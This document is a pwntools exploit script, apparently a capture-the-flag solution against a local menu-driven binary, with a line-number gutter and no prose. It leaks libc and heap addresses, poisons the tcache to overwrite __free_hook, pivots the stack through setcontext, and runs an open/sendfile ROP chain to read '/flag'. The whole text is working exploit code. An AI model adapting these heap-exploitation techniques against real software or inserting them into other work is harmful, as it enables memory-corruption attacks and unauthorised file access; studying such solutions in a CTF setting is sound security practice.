1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| from pwn import * context.log_level="debug" p=process("./pwn")
elf=ELF("./pwn") libc=elf.libc
def shoot(n): p.recvuntil(">> \n") p.sendline("1") p.recvuntil("pictures?\n") p.sendline(str(n))
def buy(size,context): p.recvuntil(">> \n") p.sendline("2") p.recvuntil("budget.\n") p.sendline(str(size)) p.recvuntil("Content: \n") p.send(context)
def load(n): p.recvuntil(">> \n") p.sendline("3") p.recvuntil("load\n") p.sendline(str(n))
buy(0x500-8,"\n") buy(0x500-8,"\n") buy(0x500-8,"\n") load(1) shoot(30) buy(0x500-8,"\n") load(1)
shoot(30) leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) basetest=leak-(0x7f6b272bebe0-0x7f6b270d2000) print(hex(leak)) buy(0x500-8,"\n")
buy(0x78,"\n") buy(0x78,"\n") load(3) load(4)
shoot(2) buy(0x78,"\n") buy(0x78,"\n") load(3)
shoot(1) heap=u64(p.recvuntil("\x0a")[-7:-1].ljust(8,b'\x00')) print(hex(heap)) heap_base=heap-(0x55a4f99e6220-0x55a4f99e5000) print(hex(heap_base))
buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") load(11) load(12) load(13) load(10) load(9) load(8) load(7) load(6) load(5) load(4) load(3) shoot(30)
rdx=b""+p64(heap_base+0x1710+0x10) rop=p64(0)+rdx
buy(0x78,rop+b"\n") buy(0x78,"/flag\x00"+"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") buy(0x78,"\n") load(9) shoot(2) buy(0x78,p64(basetest-0x10+libc.sym["__free_hook"])+b"\n") buy(0x78,8*"b"+"\n") buy(0x78,8*"b"+"\n")
payload=p64(basetest+(0x151990)) buy(0x78,payload+b"\n")
reg_context = flat({ 0x20: p64(basetest+libc.sym["setcontext"]+61), 0x28:p64(0), 0x30:p64(0), 0x48:p64(0), 0x50:p64(0), 0x58:p64(0), 0x60:p64(0), 0x68:p64(0x1420+heap_base), 0x70:p64(0), 0x78:p64(0), 0x80:p64(0), 0x88:p64(0), 0x98:p64(0), 0xa0: heap_base+0x1c20, 0xa8: p64(basetest+libc.sym["open"]), }, filler = b'\x00', arch = "amd64")
buy(0x500-8,reg_context+b"\n")
rop=b""+p64(basetest+0x0000000000023b6a)+p64(1)+p64(basetest+0x000000000002601f)+p64(3) rop+=p64(basetest+0x0000000000142c92)+p64(0)+p64(basetest+0x000000000010257e)+p64(0x100)+p64(100)+p64(basetest+libc.sym["sendfile64"]) buy(0x500-8,rop+b"\n") load(3) shoot(7)
p.interactive()
|